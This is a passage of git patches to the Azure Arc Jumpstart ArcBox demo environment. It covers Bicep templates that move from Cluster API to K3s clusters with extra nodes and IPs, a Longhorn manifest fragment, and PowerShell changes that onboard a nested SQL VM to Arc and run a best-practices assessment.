longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + name: longhorn-ui + namespace: longhorn-system +spec: + replicas: 2 + selector: + matchLabels: + app: longhorn-ui + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + spec: + serviceAccountName: longhorn-ui-service-account + affinity: + podAntiAffinity: + preferredDuringSchedulingIgnoredDuringExecution: + - weight: 1 + podAffinityTerm: + labelSelector: + matchExpressions: + - key: app + operator: In + values: + - longhorn-ui + topologyKey: kubernetes.io/hostname + containers: + - name: longhorn-ui + image: longhornio/longhorn-ui:v1.6.0 + imagePullPolicy: IfNotPresent + volumeMounts: + - name : nginx-cache + mountPath: /var/cache/nginx/ + - name : nginx-config + mountPath: /var/config/nginx/ + - name: var-run + mountPath: /var/run/ + ports: + - containerPort: 8000 + name: http + env: + - name: LONGHORN_MANAGER_IP + value: "http://longhorn-backend:9500" + - name: LONGHORN_UI_PORT + value: "8000" + volumes: + - emptyDir: {} + name: nginx-cache + - emptyDir: {} + name: nginx-config + - emptyDir: {} + name: var-run + priorityClassName: "longhorn-critical" +--- +# Source: longhorn/templates/validate-psp-install.yaml +# \ No newline at end of file diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 51a643c2ca..c199296e18 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -2,7 +2,7 @@ param vmName string = 'ArcBox-Client' @description('The name of the Cluster API workload cluster to be connected as an Azure Arc-enabled Kubernetes cluster') -param capiArcDataClusterName string = 'ArcBox-CAPI-Data' +param k3sArcDataClusterName string = 'ArcBox-K3s-Data' @description('Username for the Virtual Machine') param windowsAdminUsername string = 'arcdemo' @@ -102,6 +102,9 @@ param aksdrArcClusterName string = 'ArcBox-AKS-DR-Data' @description('Domain name for the jumpstart environment') param addsDomainName string = 'jumpstart.local' +@description('The custom location RPO ID') +param customLocationRPOID string + var bastionName = 'ArcBox-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -206,7 +209,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -k3sArcDataClusterName ${k3sArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName} -customLocationRPOID ${customLocationRPOID}' } } } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep index dc0cf1ad5c..ba5e3b8f0b 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep @@ -50,7 +50,7 @@ param enableRBAC bool = true param osType string = 'Linux' @description('The version of Kubernetes') -param kubernetesVersion string = '1.26.6' +param kubernetesVersion string = '1.27.9' var serviceCidr_primary = '10.20.64.0/19' var dnsServiceIP_primary = '10.20.64.10' diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index 342a423213..7943d98335 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -49,35 +49,28 @@ param templateBaseUrl string @description('Choice to deploy Bastion to connect to the client VM') param deployBastion bool = false +@description('Storage account container name for artifacts') +param storageContainerName string + +@description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') +@allowed([ + 'Full' + 'ITPro' + 'DevOps' + 'DataOps' +]) +param flavor string + var publicIpAddressName = '${vmName}-PIP' var networkInterfaceName = '${vmName}-NIC' var osDiskType = 'Premium_LRS' -var PublicIPNoBastion = { - id: publicIpAddress.id -} - - -resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { - name: networkInterfaceName - location: azureLocation - properties: { - ipConfigurations: [ - { - name: 'ipconfig1' - properties: { - subnet: { - id: subnetId - } - privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion== false ? PublicIPNoBastion : null - } - } - ] - } -} +var k3sControlPlane = 'true' // deploy single-node k3s control plane +var diskSize = (flavor == 'DataOps') ? 512 : 64 +var numberOfIPAddresses = (flavor == 'DataOps') ? 7 : 5 // The number of IP addresses to create -resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(deployBastion == false){ - name: publicIpAddressName +// Create multiple public IP addresses if deployBastion is false +resource publicIpAddresses 'Microsoft.Network/publicIpAddresses@2022-01-01' = [for i in range(1, numberOfIPAddresses): { + name: '${publicIpAddressName}${i}' location: azureLocation properties: { publicIPAllocationMethod: 'Static' @@ -87,12 +80,36 @@ resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(d sku: { name: 'Basic' } +}] + +// Create multiple NIC IP configurations and assign the public IP to the IP configuration if deployBastion is false +resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { + name: networkInterfaceName + location: azureLocation + properties: { + ipConfigurations: [for i in range(1, numberOfIPAddresses): { + name: 'ipconfig${i}' + properties: { + subnet: { + id: subnetId + } + privateIPAllocationMethod: 'Dynamic' + publicIPAddress: { + id: publicIpAddresses[i-1].id + } + primary: i == 1 ? true : false + } + }] + } } resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: azureLocation tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { vmSize: vmSize @@ -105,6 +122,7 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { managedDisk: { storageAccountType: osDiskType } + diskSizeGB: diskSize } imageReference: { publisher: 'canonical' @@ -138,6 +156,16 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { } } +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} + resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { parent: vm name: 'installscript_k3s' @@ -149,10 +177,13 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 autoUpgradeMinorVersion: true settings: {} protectedSettings: { - commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${deployBastion}' + commandToExecute: 'bash installK3s.sh ${adminUsername} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName} ${k3sControlPlane}' fileUris: [ '${templateBaseUrl}artifacts/installK3s.sh' ] } } + dependsOn: [ + vmRoleAssignment_Owner + ] } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep new file mode 100644 index 0000000000..a351cedcc3 --- /dev/null +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -0,0 +1,164 @@ +@description('The name of you Virtual Machine') +param vmName string = 'ArcBox-K3s-Node' + +@description('Username for the Virtual Machine') +param adminUsername string = 'arcdemo' + +@description('SSH Key for the Virtual Machine. SSH key is recommended over password') +@secure() +param sshRSAPublicKey string + +@description('The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version') +@allowed([ + '22_04-lts-gen2' +]) +param ubuntuOSVersion string = '22_04-lts-gen2' + +@description('Location for all resources.') +param azureLocation string = resourceGroup().location + +@description('Resource Id of the subnet in the virtual network') +param subnetId string + +param resourceTags object = { + Project: 'jumpstart_arcbox' +} + +@description('Azure service principal client id') +param spnClientId string + +@description('Azure service principal client secret') +@secure() +param spnClientSecret string + +@description('Azure AD tenant id for your service principal') +param spnTenantId string + +@description('Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json') +param stagingStorageAccountName string + +@description('Name of the Log Analytics workspace used with cluster extensions') +param logAnalyticsWorkspace string + +@description('The base URL used for accessing artifacts and automation artifacts') +param templateBaseUrl string + +@description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') +@allowed([ + 'Full' + 'ITPro' + 'DevOps' + 'DataOps' +]) +param flavor string + +@description('Storage account container name for artifacts') +param storageContainerName string + +var networkInterfaceName = '${vmName}-NIC' +var osDiskType = 'Premium_LRS' +var vmSize = (flavor == 'DevOps') ? 'Standard_B2ms' : 'Standard_B8ms' +var diskSize = (flavor == 'DataOps') ? 512 : 64 + +resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { + name: networkInterfaceName + location: azureLocation + properties: { + ipConfigurations: [ + { + name: 'ipconfig1' + properties: { + subnet: { + id: subnetId + } + privateIPAllocationMethod: 'Dynamic' + } + } + ] + } +} + +resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { + name: vmName + location: azureLocation + tags: resourceTags + identity: { + type: 'SystemAssigned' + } + properties: { + hardwareProfile: { + vmSize: vmSize + } + storageProfile: { + osDisk: { + name: '${vmName}-OSDisk' + caching: 'ReadWrite' + createOption: 'FromImage' + managedDisk: { + storageAccountType: osDiskType + } + diskSizeGB: diskSize + } + imageReference: { + publisher: 'canonical' + offer: '0001-com-ubuntu-server-jammy' + sku: ubuntuOSVersion + version: 'latest' + } + } + networkProfile: { + networkInterfaces: [ + { + id: networkInterface.id + } + ] + } + osProfile: { + computerName: vmName + adminUsername: adminUsername + linuxConfiguration: { + disablePasswordAuthentication: true + ssh: { + publicKeys: [ + { + path: '/home/${adminUsername}/.ssh/authorized_keys' + keyData: sshRSAPublicKey + } + ] + } + } + } + } +} + +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} + +resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { + parent: vm + name: 'installscript_k3s' + location: azureLocation + properties: { + publisher: 'Microsoft.Azure.Extensions' + type: 'CustomScript' + typeHandlerVersion: '2.1' + autoUpgradeMinorVersion: true + settings: {} + protectedSettings: { + commandToExecute: 'bash installK3s.sh ${adminUsername} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName}' + fileUris: [ + '${templateBaseUrl}artifacts/installK3s.sh' + ] + } + } + dependsOn: [ + vmRoleAssignment_Owner + ] +} diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 5287d63ee8..abee87be15 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -60,15 +60,18 @@ param guid string = substring(newGuid(),0,4) @description('Azure location to deploy all resources') param location string = resourceGroup().location -var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' +@description('The custom location RPO ID') +param customLocationRPOID string -var capiArcDataClusterName = 'ArcBox-CAPI-Data-${guid}' -var k3sArcDataClusterName = 'ArcBox-K3s-${guid}' +var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' var aksArcDataClusterName = 'ArcBox-AKS-Data-${guid}' var aksDrArcDataClusterName = 'ArcBox-AKS-DR-Data-${guid}' +var k3sArcDataClusterName = 'ArcBox-DataSvc-K3s-${guid}' +var k3sArcClusterName = 'ArcBox-K3s-${guid}' +var k3sClusterNodesCount = 3 // Number of nodes to deploy in the K3s cluster -module ubuntuCAPIDeployment 'kubernetes/ubuntuCapi.bicep' = if (flavor == 'Full' || flavor == 'DevOps' || flavor == 'DataOps') { - name: 'ubuntuCAPIDeployment' +module ubuntuRancherK3sDataSvcDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps' || flavor == 'DataOps') { + name: 'ubuntuRancherK3sDataSvcDeployment' params: { sshRSAPublicKey: sshRSAPublicKey spnClientId: spnClientId @@ -80,16 +83,35 @@ module ubuntuCAPIDeployment 'kubernetes/ubuntuCapi.bicep' = if (flavor == 'Full' subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId deployBastion: deployBastion azureLocation: location + vmName : k3sArcDataClusterName + storageContainerName: toLower(k3sArcDataClusterName) flavor: flavor - capiArcDataClusterName : capiArcDataClusterName + } +} + +module ubuntuRancherK3sDataSvcNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'Full' || flavor == 'DataOps') { + name: 'ubuntuRancherK3sDataSvcNodesDeployment-${i}' + params: { + sshRSAPublicKey: sshRSAPublicKey + spnClientId: spnClientId + spnClientSecret: spnClientSecret + spnTenantId: spnTenantId + stagingStorageAccountName: stagingStorageAccountDeployment.outputs.storageAccountName + logAnalyticsWorkspace: logAnalyticsWorkspaceName + templateBaseUrl: templateBaseUrl + subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId + azureLocation: location + flavor: flavor + vmName : '${k3sArcDataClusterName}-Node-0${i}' + storageContainerName: toLower(k3sArcDataClusterName) } dependsOn: [ - updateVNetDNSServers + ubuntuRancherK3sDataSvcDeployment ] -} +}] -module ubuntuRancherDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps') { - name: 'ubuntuRancherDeployment' +module ubuntuRancherK3sDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps') { + name: 'ubuntuRancherK3sDeployment' params: { sshRSAPublicKey: sshRSAPublicKey spnClientId: spnClientId @@ -101,7 +123,9 @@ module ubuntuRancherDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId deployBastion: deployBastion azureLocation: location - vmName : k3sArcDataClusterName + vmName : k3sArcClusterName + storageContainerName: toLower(k3sArcClusterName) + flavor: flavor } } @@ -122,13 +146,14 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { deployBastion: deployBastion githubUser: githubUser location: location - k3sArcClusterName : k3sArcDataClusterName - capiArcDataClusterName : capiArcDataClusterName + k3sArcDataClusterName : k3sArcDataClusterName + k3sArcClusterName : k3sArcClusterName aksArcClusterName : aksArcDataClusterName aksdrArcClusterName : aksDrArcDataClusterName vmAutologon: vmAutologon rdpPort: rdpPort addsDomainName: addsDomainName + customLocationRPOID: customLocationRPOID } dependsOn: [ updateVNetDNSServers From 16aebf8083f7f91df46fa211c57bf1d03ab177d2 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 14 Jun 2024 10:27:36 -0400 Subject: [PATCH 150/506] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 10ad970092..87839f663c 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -248,7 +248,7 @@ "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),null)]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" } } ] From 1ee14d4501e8e0391a2ffcb7337dbdc215970b99 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 13:09:03 -0400 Subject: [PATCH 151/506] Fixed SQL deployment issues --- .../artifacts/ArcServersLogonScript.ps1 | 196 +-- .../artifacts/Bootstrap.ps1 | 40 +- .../SqlAdvancedThreatProtectionShell.psm1 | 1155 +++++++++++++++++ .../artifacts/defendersqldcrtemplate.json | 42 + .../artifacts/testDefenderForSQL.ps1 | 22 +- 5 files changed, 1319 insertions(+), 136 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/SqlAdvancedThreatProtectionShell.psm1 create mode 100644 azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index e5bda2bc63..d743e1da72 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -125,7 +125,7 @@ if ($Env:flavor -ne "DevOps") { az config set extension.use_dynamic_install=yes_without_prompt --only-show-errors - @("ssh","log-analytics-solution","connectedmachine") | + @("ssh","log-analytics-solution","connectedmachine", "monitor-control-service") | ForEach-Object -Parallel { az extension add --name $PSItem --yes --only-show-errors } @@ -145,6 +145,10 @@ if ($Env:flavor -ne "DevOps") { } # Enable defender for cloud for SQL Server + # Get workspace information + $workspaceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "customerId" -o tsv) + $workspaceResourceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "id" -o tsv) + # Verify existing plan and update accordingly $currentsqlplan = (az security pricing show -n SqlServerVirtualMachines --subscription $subscriptionId | ConvertFrom-Json) if ($currentsqlplan.pricingTier -eq "Free") { @@ -154,21 +158,12 @@ if ($Env:flavor -ne "DevOps") { # Set defender for cloud log analytics workspace Write-Header "Updating Log Analytics workspacespace for defender for cloud for SQL Server" - az security workspace-setting create -n default --target-workspace "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.OperationalInsights/workspaces/$env:workspaceName" --only-show-errors + az security workspace-setting create -n default --target-workspace $workspaceResourceID --only-show-errors } else { Write-Header "Current Defender for SQL plan is $($currentsqlplan.pricingTier)" } - # Deploy SQLAdvancedThreatProtection solution to support Defender for SQL - Write-Host "Deploying SQLAdvancedThreatProtection solution to support Defender for SQL server." - $extExists = $false - $extensionList = az monitor log-analytics solution list --resource-group $resourceGroup | ConvertFrom-Json - foreach ($extension in $extensionList.value) { if ($extension.Name -match "SQLAdvancedThreatProtection") { $extExists = $true; break; } } - if (!$extExists) { - az monitor log-analytics solution create --resource-group $resourceGroup --solution-type SQLAdvancedThreatProtection --workspace $Env:workspaceName --only-show-errors --no-wait - } - # Before deploying ArcBox SQL set resource group tag ArcSQLServerExtensionDeployment=Disabled to opt out of automatic SQL onboarding az tag create --resource-id "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup" --tags ArcSQLServerExtensionDeployment=Disabled @@ -200,7 +195,7 @@ if ($Env:flavor -ne "DevOps") { # Copy installation script to nested Windows VMs Write-Output "Transferring installation script to nested Windows VMs..." - Copy-VMFile $SQLvmName -SourcePath "$agentScript\installArcAgentSQLSP.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgentSQL.ps1" -CreateFullPath -FileSource Host -Force + Copy-VMFile $SQLvmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force Write-Header "Onboarding Arc-enabled servers" @@ -209,35 +204,73 @@ if ($Env:flavor -ne "DevOps") { $accessToken = (Get-AzAccessToken).Token Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - # Install Log Analytics extension to support Defender for SQL - $mmaExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='MicrosoftMonitoringAgent']" | ConvertFrom-Json - if ($mmaExtension.Count -le 0) { - # Get workspace information - $workspaceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "customerId" -o tsv) - $workspaceKey = (az monitor log-analytics workspace get-shared-keys --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "primarySharedKey" -o tsv) + # Wait for the Arc-enabled server installation to be completed + $retryCount = 0 + do + { + $ArcServer = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup + if (($null -ne $ArcServer) -and ($ArcServer.ProvisioningState -eq "Succeeded")) { + Write-Host "Onboarding the nested SQL VM as Azure Arc-enabled server successful." + $azConnectedMachineId = $ArcServer.Id + break; + } + else { + $retryCount = $retryCount + 1 + if ($retryCount -gt 5) { + Write-Host "WARNING: Timeout exceeded for onboarding nested SQL VM as Azure Arc-enabled server ... Retry count: $retryCount." + Exit + } + else { + Write-Host "Waiting for onboarding nested SQL VM as Azure Arc-enabled server ... Retry count: $retryCount" + Start-Sleep(30) + } + } + } while($retryCount -le 5) + + # Create SQL server extension as policy to auto deployment is disabled + az connectedmachine extension create --machine-name $SQLvmName --name "WindowsAgent.SqlServer" --resource-group $resourceGroup --type "WindowsAgent.SqlServer" --publisher "Microsoft.AzureData" --settings '{\"LicenseType\":\"Paid\", \"SqlManagement\": {\"IsEnabled\":true}}' - Write-Host "Deploying Microsoft Monitoring Agent to test Defender for SQL." - az connectedmachine extension create --machine-name $SQLvmName --name "MicrosoftMonitoringAgent" --settings "{'workspaceId':'$workspaceID'}" --protected-settings "{'workspaceKey':'$workspaceKey'}" --resource-group $resourceGroup --type-handler-version "1.0.18067.0" --type "MicrosoftMonitoringAgent" --publisher "Microsoft.EnterpriseCloud.Monitoring" --no-wait - Write-Host "Microsoft Monitoring Agent deployment initiated." - } + $retryCount = 0 + do { + # Verify if Arc-enabled server and SQL server extensions are installed + $sqlExtension = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'WindowsAgent.SqlServer'} + if ($sqlExtension -and ($sqlExtension.ProvisioningState -eq "Succeeded")) { + # SQL server extension is installed and ready to run SQL BPA + Write-Host "SQL server extension is installed and ready to run SQL BPA." + break; + } + else { + # Arc SQL Server extension is not installed or still in progress. + $retryCount = $retryCount + 1 + if ($retryCount -gt 5) { + Write-Host "WARNING: Timeout exceeded installing SQL server extension. Retry count: $retryCount." + Exit + } + else { + Write-Host "Waiting for SQL server extension installation ... Retry count: $retryCount" + Start-Sleep(30) + } + } + } while($retryCount -le 5) # Azure Monitor Agent extension is deployed automatically using Azure Policy. Wait until extension status is Succeded. $retryCount = 0 do { - Start-Sleep(60) $amaExtension = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'AzureMonitorWindowsAgent'} if ($amaExtension.StatusCode -eq 0) { Write-Host "Azure Monitoring Agent extension installation complete." break } - - $retryCount = $retryCount + 1 - Write-Host "Waiting for Azure Monitoring Agent extension installation to complete ... Retry count: $retryCount" - - if ($retryCount -gt 5) { - Write-Host "WARNING: Azure Monitor Agent extenstion is taking longger than expected. Enable SQL BPA later through Azure portal." + else { + $retryCount = $retryCount + 1 + Write-Host "Waiting for Azure Monitoring Agent extension installation to complete ... Retry count: $retryCount" + Start-Sleep(60) + + if ($retryCount -gt 5) { + Write-Host "WARNING: Azure Monitor Agent extenstion is taking longger than expected. Enable SQL BPA later through Azure portal." + Exit + } } - } while ($retryCount -le 5) # Enable Best practices assessment @@ -246,75 +279,68 @@ if ($Env:flavor -ne "DevOps") { # Create custom log analytics table for SQL assessment az monitor log-analytics workspace table create --resource-group $resourceGroup --workspace-name $Env:workspaceName -n SqlAssessment_CL --columns RawData=string TimeGenerated=datetime --only-show-errors - # Verify if Arc-enabled server and SQL server extensions are installed - $ArcServer = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup - if ($ArcServer) { - $sqlExtension = $ArcServer | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'WindowsAgent.SqlServer'} - if ($sqlExtension) { - # SQL server extension is installed and ready to run SQL BPA - Write-Host "SQL server extension is installed and ready to run SQL BPA." - } - else { - # Arc SQL Server extension is not installed or still in progress. - Write-Host "SQL server extension is not installed and can't run SQL BPA." - Exit - } - } - else { - # ArcBox-SQL Arc-enabled server resource not found - Write-Host "ArcBox-SQL Arc-enabled server resource not found. Re-run onboard script to fix this issue." - Exit - } + # Verify if ArcBox SQL resource is created + Write-Host "Enabling SQL server best practices assessment" + $bpaDeploymentTemplateUrl = "$Env:templateBaseUrl/artifacts/sqlbpa.json" + az deployment group create --resource-group $resourceGroup --template-uri $bpaDeploymentTemplateUrl --parameters workspaceName=$Env:workspaceName vmName=$SQLvmName arcSubscriptionId=$subscriptionId + # Run Best practices assessment + Write-Host "Execute SQL server best practices assessment" - # Verify if ArcBox SQL resource is created - $arcSQLStatus = az resource list --resource-group $resourceGroup --query "[?type=='Microsoft.AzureArcData/SqlServerInstances'].[provisioningState]" -o tsv - if ($arcSQLStatus -ne "Succeeded"){ - Write-Host "WARNING: ArcBox-SQL Arc-enabled server resource not found. Wait for the resource to be created and follow troubleshooting guide to run assessment manually." + # Wait for a minute to finish everyting and run assessment + Start-Sleep(60) + + # Get access token to make ARM REST API call for SQL server BPA + $armRestApiEndpoint = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer?api-version=2019-08-02-preview" + $token = (az account get-access-token --subscription $subscriptionId --query accessToken --output tsv) + $headers = @{"Authorization" = "Bearer $token"; "Content-Type" = "application/json" } + + # Build API request payload + $worspaceResourceId = "/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/microsoft.operationalinsights/workspaces/$Env:workspaceName".ToLower() + $sqlExtensionId = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer" + $sqlbpaPayloadTemplate = "$Env:templateBaseUrl/artifacts/sqlbpa.payload.json" + $settingsSaveTime = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() + $apiPayload = (Invoke-WebRequest -Uri $sqlbpaPayloadTemplate).Content -replace '{{RESOURCEID}}', $sqlExtensionId -replace '{{LOCATION}}', $azureLocation -replace '{{WORKSPACEID}}', $worspaceResourceId -replace '{{SAVETIME}}', $settingsSaveTime + + # Call REST API to run best practices assessment + 